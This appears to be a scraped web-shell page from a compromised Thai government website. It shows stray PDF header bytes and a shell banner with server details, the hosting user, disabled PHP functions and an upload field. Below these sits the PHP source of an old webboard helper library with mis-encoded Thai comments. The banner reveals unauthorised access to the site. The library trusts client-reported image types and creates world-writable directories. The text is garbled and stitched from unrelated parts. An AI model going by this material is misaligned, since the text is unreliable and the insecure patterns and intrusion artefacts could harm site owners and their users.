%PDF-1.5 % ºaâÚÎΞ-ÌE1�ØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY
| Server IP : 122.155.177.87 / Your IP : 122.155.177.87 Web Server : Apache/2 System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64 User : phunphin ( 1164) PHP Version : 5.3.29 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/phunphin/domains/phunphin.go.th/public_html/news/ |
Upload File : |
<META http-equiv=Content-Type content="text/html; charset=windows-874">
<?
//(1) »ÃѺàÇÅÒãËéµÃ§¡ÑºàÇÅÒàÁ×ͧä·Â ¡Ã³Õ·Õè server ÍÂÙè·ÕèàÁ×ͧ¹Í¡ â´Â¤ÇÒÁÊÓ¤ÑÍÂÙè·ÕèµÑÇá»Ã $hour áÅÐ $min
$hour = 0; // 11 »ÃѺãËéµÃ§µÒÁµéͧ¡ÒÃ
$min = 0; //»ÃѺãËéµÃ§µÒÁµéͧ¡ÒÃ
$Year = date("Y")+543;
$thaiweekFull=array("ÇѹÍÒ·ÔµÂì ·Õè","Çѹ¨Ñ¹·Ãì ·Õè","ÇѹÍѧ¤Òà ·Õè","Çѹ¾Ø¸ ·Õè","Çѹ¾ÄËÑʺ´Õ ·Õè","ÇÑ¹ÈØ¡Ãì ·Õè","ÇѹàÊÒÃì ·Õè");
$thaimonthFull=array("Á¡ÃÒ¤Á","¡ØÁÀҾѹ¸ì","ÁÕ¹Ò¤Á","àÁÉÒ¹","¾ÄÉÀÒ¤Á","ÁԶعÒ¹","¡Ã¡®Ò¤Á","ÊÔ§ËÒ¤Á","¡Ñ¹ÂÒ¹","µØÅÒ¤Á", "¾ÄȨԡÒ¹","¸Ñ¹ÇÒ¤Á");
$thaimonth=array("Á.¤.","¡.¾.","ÁÕ.¤.","àÁ.Â.","¾.¤.","ÁÔ.Â.","¡.¤.","Ê.¤.","¡.Â.","µ.¤.", "¾.Â.","¸.¤.");
$numbermonth=array("01","02","03","04","05","06","07","08","09","10", "11","12");
if ($Year=="2548"){$Shoryear="2548";}
if ($Year=="2549"){$Shoryear="2549";}
if ($Year=="2550"){$Shoryear="2550";}
if ($Year=="2551"){$Shoryear="2551";}
if ($Year=="2552"){$Shoryear="2552";}
if ($Year=="2553"){$Shoryear="2553";}
//¤Ø³ÊÒÁÒöàÅ×Í¡ãªé§Ò¹ä´é 3 ÍÂèÒ§¤×Í.. $mdate ËÃ×Í $ThaiDate ËÃ×Í $ThaiDateFull
// 03-08-45
//$mdate = date("d",mktime( date("H")+$hour, date("i")+$min ))."-".$numbermonth[date("m")-1]."-".$Shoryear;
// 3 Ê.¤. 2544
$ndate = date("j ",mktime( date("H")+$hour, date("i")+$min )). $thaimonth[date("m")-1]." ".$Year;
// 3 Ê.¤. 2544 àÇÅÒ 12:36 ¹.
$ThaiDate = date("j ").$thaimonth[date("m")-1]." ".$Year.date(" àÇÅÒ H:i ¹.",mktime( date("H")+$hour, date("i")+$min ));
// ÇÑ¹ÈØ¡Ãì·Õè 3 Ê.¤. 2544 àÇÅÒ 12:36 ¹.
$ThaiDateFull = $thaiweekFull[date("w",mktime( date("H")+$hour))]. date(" j ",mktime( date("H")+$hour)). $thaimonthFull[date("m")-1]. " ". $Year . date(" àÇÅÒ H:i ¹.",mktime( date("H")+$hour, date("i")+$min ));
// ä´é¤èÒà»ç¹ ÇÔ¹Ò·Õ ¹Ñº¨Ò¡»Õ ¤.È.1900
$Logtime = date("U",mktime( date("H")+$hour, date("i")+$min ));
//(2) ¿Ñ§¡ìªÑ蹵Ѵ¤ÓËÂÒº«Öè§ÊÒÁÒöà¾ÔèÁ¤Ó·Õèµéͧ¡ÒõѴä´é
function CheckRude($temp){
$wordrude = array(
"ashole","a s h o l e","a.s.h.o.l.e","bitch","b i t c h","b.i.t.c.h","shit","s h i t","s.h.i.t","fuck",
"dick","f u c k","d i c k","f.u.c.k","d.i.c.k","ÁÖ§","ÁÖ §","¡Ù","¤ÇÂ","¤ Ç Â","¤.Ç.Â",
"¤Í ÇÍ ÂÍ","¤Í-ÇÍ-ÂÍ","»Õé","àËÕéÂ","àÎÕéÂ","ªÒµÔËÁÒ","ªÒ´ËÁÒ","ª Ò ´ Ë Á Ò","ª.Ò.´.Ë.Á.Ò","ª Ò µÔ Ë Á Ò",
"ª.Ò.µÔ.Ë.Á.Ò","äÍé","ÊÑ´ËÁÒ","ÊÑ´","àÂç´","ËÕ","Êѹ´Ò¹","áÁè§","ÃÐÂÓ","Êé¹µÕ¹","áµ´","ÁÖ-§","¤-Ç-Â","á-Áè-§") ;
$wordchange = ("<img src=\"./pic/ban.gif\" border=0>") ;
for ( $i=0 ; $i<sizeof($wordrude) ; $i++ ){
$temp = eregi_replace ($wordrude[$i] ,$wordchange ,$temp);
}
return ( $temp ) ;
}
//(3) ¿Ñ§¡ìªÑè¹á·Ã¡ÃÙ»ÀÒ¾ÊÒÁÒöà¾ÔèÁÃÙ»ä´é
function CheckSmile($temp){
global $url;
$text = array(
":sad:",":red:", ":big:", ":ent:", ":shy:", ":sleepy:", ":sun:", ":sg:", ":embarass:",
":dead:", ":cool:", ":clown:", ":pukey:", ":eek:", ":roll:", ":smoke:", ":angry:", ":confused:", ":cry:",
":lol:", ":yawn:", ":devil:", ":tongue:", ":alien:",":tasty:",":crazy:",":agree:",":disagree:",":bawling:",
":crap:",":crying1:",":dunce:",":error:",":evil:",":lookaroundb:",":laugh:",":pimp:",":spiny:",":wavey:",":smash:",":angry:",
":brain:",":phone:",":zip:",":download:",":beer:",":censore:",":nolove:",":cranium:");
$pic =array(
"frown.gif","redface.gif","biggrin.gif","blue.gif","shy.gif","sleepy.gif","sunglasses.gif", "supergrin.gif","embarass.gif",
"dead.gif","cool.gif","clown.gif","pukey.gif","eek.gif","sarcblink.gif","smokin.gif","reallymad.gif","confused.gif","crying.gif",
"lol.gif","yawn.gif","devil.gif","tongue.gif","aysmile.gif","tasty.gif","grazy.gif","agree.gif","disagree.gif","bawling.gif",
"crap.gif","crying1.gif","dunce.gif","error.gif","evil.gif","lookaroundb.gif","laugh.gif","pimp.gif","spiny.gif","wavey.gif","smash.gif","angry.gif",
"brain.gif","phone.gif","zip.gif","download.gif","beer.gif","censore.gif","nolove.gif","cranium.gif");
for ($i=0 ; $i<sizeof($text) ; $i++) {
$temp = eregi_replace($text[$i],"<img src=\"./pic/$pic[$i]\">",$temp);
}
return($temp);
}
//(4) ¿Ñ§¡ìªÑè¹µÃǨÊͺ¡ÒÃá·Ã¡ Link áÅÐ Tag
function CheckTag($temp){
global $url;
$temp = stripslashes(htmlspecialchars($temp));
$temp = eregi_replace ( "<" , "<" , $temp ) ;
$temp = eregi_replace ( ">" , ">" , $temp ) ;
$temp = eregi_replace ( "\n", "<br>" , $temp ) ;
//ÊÓËÃѺà»ÅÕè¹ÍÑ¡¢ÃзÕè¡Ó˹´ ãËéà»ç¹á·¡ html µèÒ§æ
$temp = eregi_replace ( "\[b\]", "<b>" , $temp ) ;
$temp = eregi_replace ( "\[/b\]", "</b>" , $temp ) ;
$temp = eregi_replace ( "\[center\]", "<div align=center>" , $temp ) ;
$temp = eregi_replace ( "\[/center\]", "</div>" , $temp ) ;
$temp = eregi_replace ( "\[i\]", "<i>" , $temp ) ;
$temp = eregi_replace ( "\[/i\]", "</i>" , $temp ) ;
$temp = eregi_replace ( "\[u\]", "<u>" , $temp ) ;
$temp = eregi_replace ( "\[/u\]", "</u>" , $temp ) ;
$temp = eregi_replace ( "\[\-\-\-\]", " " , $temp ) ;
$temp = eregi_replace ( "\[color=red\]", "<font color=red size=2>" , $temp ) ;
$temp = eregi_replace ( "\[color=green\]", "<font color=green size=2>" , $temp ) ;
$temp = eregi_replace ( "\[color=blue\]", "<font color=blue size=2>" , $temp ) ;
$temp = eregi_replace ( "\[color=orange\]", "<font color=FF6600 size=2>" , $temp ) ;
$temp = eregi_replace ( "\[color=pink\]", "<font color=FF00FF size=2>" , $temp ) ;
$temp = eregi_replace ( "\[color=gray\]", "<font color=999999 size=2>" , $temp ) ;
$temp = eregi_replace ( "\[/color\]", "</font>" , $temp ) ;
// ¤ÓÊÑè§áÊ´§ÃÙ»·Õèá·Ã¡¤ÓÊÑè§à¢éÒÁÒ
$temp = eregi_replace ("\[img\]([[:alnum:]]+)://([^[:space:]]*)([[:alnum:]])\[/img\]", "<img src=\"\\1://\\2\\3\">",$temp ) ;
// ÊÃéÒ§ÅÔ§¤ì URL ·Õèá·Ã¡¤ÓÊÑè§à¢éÒÁÒ
$temp = eregi_replace ("\[url\]([[:alnum:]]+)://([^[:space:]]*)([[:alnum:]#?/&=])\[/url\]","<a href=\"\\1://\\2\\3\" target=\"_blank\">\\1://\\2\\3</a>",$temp ) ;
//ÊÃéÒ§ÅÔ§¤ìÍÕàÁÅì
$temp = eregi_replace ("([^[:space:]]*)@([^[:space:]]*)([[:alnum:]])","<a href=\"./mail2me/mail2me.php?wemail=\\1@\\2\\3&name=\\1@\\2\\3\" target=\"_blank\">\\1@\\2\\3</a>",$temp ) ;
return ( $temp ) ;
}
//(5) ¿Ñ§¡ìªÑè¹áÊ´§¢éͤÇÒÁ ¼Å¡ÒáÃзӡÒÃ
function Message($Size,$Color,$Message,$Comment,$Link){
$temp = "<br><center>\n";
$temp .= "<table width=$Size% border=0 cellspacing=0 cellpadding=0 bgcolor=#ccccFF>\n";
$temp .= "<tr><td><table width=100% border=0 cellpadding=2 cellspacing=1>\n";
$temp .= "<tr bgcolor=#ccccFF>\n";
$temp .= "<td align=center><br>\n";
$temp .= "<font color=$Color ><b>$Message</b></font>\n";
$temp .= "<br><br>$Comment<br><br>\n";
$temp .= "</td></tr></table></td></tr></table><br>\n";
$temp .= "[ $Link ]\n";
$temp .= "</center>\n";
return ( $temp ) ;
}
//(6) ¿Ñ§¡ìªÑè¹µÃǨÊͺ¡ÒÃÊè§ÃÙ» áÅÐ copy ÃÙ»äÇéã¹ä´àä·ÍÃÕè
function Send_Img($Type, $No, $Upload_Img, $Upload_Img_type, $Upload_Img_size) {
include("./config.inc.php"); //µÑ駤èÒµèÒ§æ¢Í§àÇ»ºÍÃì´
if($Upload_Img!="none") { // ¶éÒÁÕ¡ÒÃÊè§ÃÙ»ÁÒ´éÇÂ
if($Upload_Img_type=="image/gif") {
$imgfiles=".gif"; //¶éÒä¿Åì·ÕèÊè§ÁÒà»ç¹ä¿Åì .gif ãËéÁÕÊ¡ØÅä¿Åìà»ç¹µÒÁ·Õè¡Ó˹´¹Õé
}
else if( ($Upload_Img_type=="image/jpg") || ($Upload_Img_type=="image/jpeg") || ($Upload_Img_type=="image/pjpeg")) {
$imgfiles=".jpg"; //¶éÒä¿Åì·ÕèÊè§ÁÒà»ç¹ä¿Åì .jpg ãËéÁÕÊ¡ØÅä¿Åìà»ç¹µÒÁ·Õè¡Ó˹´¹Õé
}
else {
echo Message(35,"red","äÁèãªèä¿ÅìÃÙ»ÀÒ¾ .gif ËÃ×Í .jpg","¡ÃسҵÃǨÊͺ´éǤÃѺ","<a href='javascript:history.back(1)'> ¡ÅѺä»á¡éä¢ </a>");
exit();
}
// Êè§ÃÙ»ä´éäÁèà¡Ô¹ 1 Mb (50 KB=51200)
if($Upload_Img_size>1048576) {
echo Message(35,"red","¢¹Ò´¢Í§ÃÙ»à¡Ô¹¡ÇèÒ·Õè¡Ó˹´","¡ÃسҵÃǨÊͺ´éÇÂ","<a href='javascript:history.back(1)'> ¡ÅѺä»á¡éä¢ </a>");
exit();
}
// µÃǨÊͺ¤ÇÒÁ¡ÇéÒ§¢Í§ÃÙ»
$size = getimagesize($Upload_Img);
if($size[0] > 400) { //¶éÒ¤ÇÒÁ¡ÇéÒ§ÁÒ¡¡ÇèÒ 110 pixels
echo Message(35,"red","¤ÇÒÁ¡ÇéÒ§¢Í§ÃÙ»ÁÒ¡¡ÇèÒ 400 pixels","¡ÃسÒá¡é䢴éÇÂ","<a href='javascript:history.back(1)'>¡ÅѺä»á¡éä¢</a>");
exit();
}
// µÃǨÊͺÇèÒÁÕä´àä·ÍÃÕèª×èÍ imagefiles ÍÂÙèËÃ×ÍäÁè ¶éÒäÁèÁÕãËéÊÃéÒ§¢Öé¹ãËÁè
$DirOK = 0;
$DIR = opendir("./$dataDir/");
while ($text = readdir($DIR)){
if($text == "imagefiles") $DirOK = 1;
}
if(!$DirOK) mkdir("./$dataDir/imagefiles/",0777);
// ¶éÒà»ç¹¡ÒÃÊè§ÃÙ»¨Ò¡¡Òõͺ (à¹×èͧ¨Ò¡¡Òõͺ¨ÐµÍºä´éËÅÒ¤¹áÅÐÍÒ¨¨ÐÊè§ÁÒËÅÒÂÃÙ»)
if($Type){
// ÍèÒ¹¨Ó¹Ç¹¢Í§ÃÙ»¨Ò¡ä¿Åì
$filename = "./$dataDir/imagefiles/Img$No.txt";
if(file_exists($filename)) {
$FILE=fopen($filename,"rt");
$num=fgets($FILE,10);
fclose($FILE);
}
else{
$num=0;
}
$num++; //à¾ÔèÁ¤èÒ¢Öé¹ 1
// ºÑ¹·Ö¡¤èҨӹǹÃٻŧã¹ä¿Åì´Ñ§à´ÔÁ ´éǤèÒãËÁè
$FILE=fopen($filename,"w");
flock($FILE,2);
fputs($FILE,$num);
flock($FILE,3);
fclose($FILE);
$ImgName = "R$No-$num$imgfiles";
}
else {
$ImgName = "$No$imgfiles";
}
// copy ä¿ÅìÃÙ»ä»à¡çºäÇéã¹ä´àä·ÍÃÕè
copy($Upload_Img,"./$dataDir/imagefiles/$ImgName");
return ($ImgName);
} // ¨º¡ÒõÃǨÊͺ ÇèÒÊè§ÃÙ»ÁÒËÃ×Íà»ÅèÒ
else {
return (0);
}
} // ¨º¿Ñ§¡ìªÑè¹
//(7) ¿Ñ§¡ìªÑè¹µÃǨÊͺ¡ÒÃâ¾Ê.. ãËéâ¾ÊµÔ´¡Ñ¹ä´éÁÒ¡ÊØ´ 50 ¡ÃзÙé
function CheckFlood($IP) {
$fileLastIP = "lastip.txt";
if(file_exists($fileLastIP)) {
$FILE=fopen($fileLastIP,"rt");
$last_ip = fgets($FILE,20);
fclose($FILE);
$last_ip = Chop($last_ip);
list ($ipx, $xnum,) = split ('[,]', $last_ip);
}
if($ipx == $IP) {
if ($xnum>10000){
$check='no';
} else {
$check='yes';
}
}else{
$check='yes';
$xnum=0;
}
if ($check=='no'){
echo Message(55,"red","¢ÍÍÀѤÃѺ!! ͹ØÒµãËéâ¾ÊµÔ´¡Ñ¹ä´éà¾Õ§ 50 ¡ÃзÙé","¡ÃسҡÅѺÁÒâ¾ÊãËÁè㹤ÃÒÇ˹éÒ","<a href='javascript:history.back(1)' class='styles2'>¡ÅѺä»á¡éä¢</a>");
exit();
} else {
$xnum++;
$FILE = fopen ( $fileLastIP , "w+" );
fputs ($FILE , "$IP,$xnum");
fclose( $FILE);
}
return (1);
}
//(8) ¿Ñ§¡ìªÑè¹µÃǨÊͺ¡ÒÃâ¾Ê¡ÃзÙé«éÓ..
function CheckRepeated($QTitle) {
include("./config.inc.php"); //µÑ駤èÒµèÒ§æ¢Í§àÇ»ºÍÃì´
if(file_exists($fileQuestion)) {
$question = file($fileQuestion);
// á¡¢éÍÁÙÅã¹áµèÅкÃ÷Ѵ ÍÍ¡à»ç¹¿ÔÅ´ìÂèÍ $question[0] ¤×Í¡ÃзÙéÅèÒÊØ´
$split = explode("|X|",$question[0]);
$topic = $split[1];
if ($QTitle == $topic){
echo Message(40,"red","¢ÍÍÀѤÃѺ!! ¤Ø³â¾Ê¡ÃзÙé«éÓ","¡ÃسҵÃǨÊͺ","<a href='javascript:history.back(1)'>¡ÅѺä»á¡éä¢</a>");
exit();
}
}
return (1);
}
//(9) ¿Ñ§¡ìªÑè¹ËҨӹǹ¼ÙéµÍº¡ÃзÙé
function CountReply($numQuestion) {
include("./config.inc.php"); //µÑ駤èÒµèÒ§æ¢Í§àÇ»ºÍÃì´
// ǹÅÙ»ÍèÒ¹¢éÍÁÙÅ ¢Í§¤ÓµÍº áÅéÇËҨӹǹ¤ÓµÍº·Ñé§ËÁ´
$fileReply = "./$dataDir/R$numQuestion.txt";
$countR=0; // à»ç¹µÑǺ͡ÇèÒÁըӹǹ¤¹µÍº¡Õ褹
if(file_exists($fileReply)) {
$Reply = file($fileReply);
for ($j=0 ; $j<sizeof($Reply) ; $j++) {
// á¡¢éÍÁÙÅã¹áµèÅкÃ÷Ѵ ÍÍ¡à»ç¹¿ÔÅ´ìÂèÍÂ
$chk = explode("||",$Reply[$j]);
// ¶éÒ¿ÔÅ´ì·Õè 0 ¢Í§¢éÍÁÙÅ·Õèáºè§ÍÍ¡ÁÒ à·èҡѺ "IS_reply" (µÑÇáºè§ËÁÒÂàÅ¢¡ÃзÙé) ãËéà¾ÔèÁ¤èÒ $countR
if(substr($chk[0],0,8) == "IS_reply"){ $countR++; }
}// end for j
}//end if
return $countR;
}
//(10) ¿Ñ§¡ìªÑè¹µÃǨÊͺÇèÒ㹡ÃзÙéÁÕÃÙ»ËÃ×Íà»ÅèÒ
function CheckImage($No) {
include("./config.inc.php"); //µÑ駤èÒµèÒ§æ¢Í§àÇ»ºÍÃì´
$imgOK = 0;
// ¤é¹ËÒä¿ÅìÃÙ»·ÕèÍÂÙè㹡ÃзÙé
$fileQImg="./$dataDir/imagefiles/$No";
if(file_exists("$fileQImg.jpg")) $imgOK = 1;
if(file_exists("$fileQImg.gif")) $imgOK = 1;
// ¤é¹ËÒä¿ÅìÃÙ»·ÕèÍÂÙè㹤ӵͺ
$fileNumImgR="./$dataDir/imagefiles/Img$No.txt";
$fileImgR="./$dataDir/imagefiles/R$No";
if(file_exists($fileNumImgR)) {
// ÍèÒ¹¨Ó¹Ç¹¢Í§ÃÙ»¨Ò¡ä¿Åì
if(file_exists($fileNumImgR)) {
$FILE=fopen($fileNumImgR,"rt");
$numImg=fgets($FILE,10);
fclose($FILE);
}
for ($i=1 ; $i<=$numImg ; $i++){
if(file_exists("$fileImgR-$i.jpg")) $imgOK = 1;
if(file_exists("$fileImgR-$i.gif")) $imgOK = 1;
}
}
return $imgOK;
}
?>